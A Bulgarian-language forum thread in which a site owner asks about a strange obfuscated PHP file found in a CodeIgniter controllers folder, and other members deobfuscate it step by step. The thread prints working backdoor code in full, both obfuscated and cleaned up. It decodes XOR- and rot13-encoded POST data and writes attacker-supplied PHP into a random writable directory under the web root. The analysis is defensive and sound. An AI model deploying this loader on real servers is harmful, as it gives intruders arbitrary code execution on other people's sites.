Странен файл в controllers на codigniter

vinsbg

Registered
Здравейте,

Разглеждам една система писана на codigniter и се натъкнах на един файл със странно име и странно съдържание.

Името на файла е: fdogkubc.php

Съдържанието е
Код:
<?php 

$hilypmmhg = "ilqsmtfjixawbzxi";
$bmliicfp = "";

foreach ($_POST as $wfywkevcdm => $avneljbft) {
	
	if (strlen($wfywkevcdm) == 16 and substr_count($avneljbft, "%") > 10) {
		
		mwwzvba($wfywkevcdm, $avneljbft);
	}
}

function mwwzvba($wfywkevcdm, $nrjpwesr) {
	
	global $bmliicfp;
	$bmliicfp = $wfywkevcdm;
	$nrjpwesr = str_split(rawurldecode(str_rot13($nrjpwesr)));
	
	function xuidr($lhknumbuuk, $wfywkevcdm){
		
		global $hilypmmhg, $bmliicfp;
		return $lhknumbuuk ^ $hilypmmhg[$wfywkevcdm % strlen($hilypmmhg)] ^ $bmliicfp[$wfywkevcdm % strlen($bmliicfp)];
	}
	
	$nrjpwesr = implode("", array_map("xuidr", array_values($nrjpwesr), array_keys($nrjpwesr)));
	
	$nrjpwesr = @unserialize($nrjpwesr);
	
	if (@is_array($nrjpwesr)){
		
		$wfywkevcdm = array_keys($nrjpwesr);
		$nrjpwesr = $nrjpwesr[$wfywkevcdm[0]];
		
		if ($nrjpwesr === $wfywkevcdm[0]){
			
			echo @serialize(Array('php' => @phpversion(), ));exit();
		}else{
			
			function bwvge($oitakjtoir) {
				
				static $cwheo = array();
				$ffijwjg = glob($oitakjtoir . '/*', GLOB_ONLYDIR);
				
				if (count($ffijwjg) > 0) {
					
					foreach ($ffijwjg as $oitakjto){
					
						if (@is_writable($oitakjto)){
							$cwheo[] = $oitakjto;
						}
					}
				}
			
				foreach ($ffijwjg as $oitakjtoir) bwvge($oitakjtoir);
					return $cwheo;
			}
			$lkyfnpks = $_SERVER["DOCUMENT_ROOT"];
			$ffijwjg = bwvge($lkyfnpks);
			$wfywkevcdm = array_rand($ffijwjg);
			$igklk = $ffijwjg[$wfywkevcdm] . "/" . substr(md5(time()), 0, 8) . ".php";
			@file_put_contents($igklk, $nrjpwesr);
			echo "http://" . $_SERVER["HTTP_HOST"] . substr($igklk, strlen($lkyfnpks));
			
			exit();
		}
	}
}

Някой има ли идея, какво прави този код?
 
Като за начало, прекарва през дадената функция всички елементи от $_POST, чиито ключове са по-дълги от 10 и чиито стойности съдържат повече от 10 знака %.

Оттам нататък можеш да 'дешифрираш' функцията, като заместиш mangled променливите с някакви имена, примерно $key и $value за параметрите на функцията.
 
Ето какво се получава, като заместиш всички $key/$value променливи с тези имена, както и $file_name и $document_root:

Обърнал съм няколко "if() {} else {}" в "if() { return } ", за да премахна вложениете проверки и да стане по-линейно.
PHP:
<?php 

$hilypmmhg = "ilqsmtfjixawbzxi";
$bmliicfp = "";

foreach ($_POST as $key => $avneljbft) {
   if (strlen($key) == 16 and substr_count($avneljbft, "%") > 10) {
      some_function($key, $avneljbft);
   }
}

function some_function($key, $value) {

    global $bmliicfp;
    $bmliicfp = $key;
    $value = str_split(rawurldecode(str_rot13($value)));

    function xuidr($lhknumbuuk, $key){
        global $hilypmmhg, $bmliicfp;
        return $lhknumbuuk ^ $hilypmmhg[$key % strlen($hilypmmhg)] ^ $bmliicfp[$key % strlen($bmliicfp)];
    }

    $value = implode("", array_map("xuidr", array_values($value), array_keys($value)));
    $value = @unserialize($value);

    if (!@is_array($value)) return;

    $key = array_keys($value);
    $value = $value[$key[0]];

    if ($value === $key[0]){
        echo @serialize(Array('php' => @phpversion(), ));exit();
        return;
    }

    function bwvge($oitakjtoir) {
        static $cwheo = array();
        $ffijwjg = glob($oitakjtoir . '/*', GLOB_ONLYDIR);

        if (count($ffijwjg) > 0) {
            foreach ($ffijwjg as $oitakjto){
                if (@is_writable($oitakjto)){
                    $cwheo[] = $oitakjto;
                }
            }
        }

        foreach ($ffijwjg as $oitakjtoir) bwvge($oitakjtoir);
        return $cwheo;
    }

    $document_root = $_SERVER["DOCUMENT_ROOT"];
    $ffijwjg = bwvge($document_root);
    $key = array_rand($ffijwjg);
    $file_name = $ffijwjg[$key] . "/" . substr(md5(time()), 0, 8) . ".php";
    @file_put_contents($file_name, $value);
    echo "http://" . $_SERVER["HTTP_HOST"] . substr($file_name, strlen($document_root));

    exit();

}
 
Ако разгледаш това тук, ще забележиш, че всъщност "$value[$key[0]]" е първият елемент от $value.

PHP:
    $key = array_keys($value);
    $value = $value[$key[0]];

    if ($value === $key[0]){
        echo @serialize(Array('php' => @phpversion(), ));exit();
        return;
    }

T.e. дефакто сравняваш първия елемент от $value с неговия ключ, което можеш да запишеш така:

if (array_keys($value)[0] === array_values($value)[0]){
echo @serialize(Array('php' => @phpversion(), ));exit();
return;
}

И понеже така или иначе има exit(), няма нужда и от return:

PHP:
    if (array_keys($value)[0] === array_values($value)[0]){
        echo @serialize(['php' => @phpversion()]);
        exit();
    }
 
Благодаря за разяснението въпреки, че все още не го разбирам и каква точно му е функцията на този файл.

Притеснява ме да не е оставен нарочно и да има някаква бекдоор функция или нещо подобно.
 
Можеш да опростиш и функцията bwvge:

PHP:
        if (count($ffijwjg) > 0) {
            foreach ($ffijwjg as $oitakjto){
                if (@is_writable($oitakjto)){
                    $cwheo[] = $oitakjto;
                }
            }
        }

Нужда oт проверката с count() няма, защото foreach така или иначе няма да изпълни тялото на цикъла, ако масивът/обектът е празен.

След това забелязваш, че $ffijwjg идва от glob(), което ти дава файловете в директорията. И понеже е подаден аргументът GLOB_ONLYDIR, веднага заместваш променливата с с $dirs, а съответната стойност в цикъла - с $dir:


PHP:
   function bwvge($oitakjtoir) {
        static $cwheo = array();
        $dirs = glob($oitakjtoir . '/*', GLOB_ONLYDIR);

        foreach ($dirs as $dir){
            if (@is_writable($dir)){
                $cwheo[] = $dir;
            }
        }

        foreach ($dirs as $dir) bwvge($dir);
        return $cwheo;
    }

Същата промяна прилагаш и малко по-долу в кода, където е използвана същата променлива:

PHP:
    $dirs = bwvge($document_root);
    $random_key = array_rand($dirs);
    $file_name = $dirs[$random_key] . "/" . substr(md5(time()), 0, 8) . ".php";

Картинката започва да става все по-ясна.
 
Функцията bwvge генерира рекурсивно списък от всички директории в подадената директория. Можеш да комбинираш двата цикъла в един:


PHP:
    function bwvge($dirs) {
        static $cwheo = array();
        $dirs = glob($dirs . '/*', GLOB_ONLYDIR);

        foreach ($dirs as $dir){
            if (@is_writable($dir)){
                $cwheo[] = $dir;
            }
            bwvge($dir);
        }

        return $cwheo;
    }

Поглеждаме следващите редове. След още малко промени стигаш дотук:

PHP:
    $document_root = $_SERVER["DOCUMENT_ROOT"];
    $dirs = bwvge($document_root);

    $file_name = $dirs[array_rand($dirs)] . "/" . substr(md5(time()), 0, 8) . ".php";
    @file_put_contents($file_name, array_shift($value));

    echo "http://" . $_SERVER["HTTP_HOST"] . substr($file_name, strlen($document_root));

Което е г/д ясно какво прави. Взима всички директории в DOCUMENT_ROOT:

http://php.net/manual/en/reserved.variables.server.php
The document root directory under which the current script is executing, as defined in the server's configuration file.

А от върнатите директории, избира една на случаен принцип и генерира файл ($file_name), в който записва стойността на първия елемент във $value.
 

Горе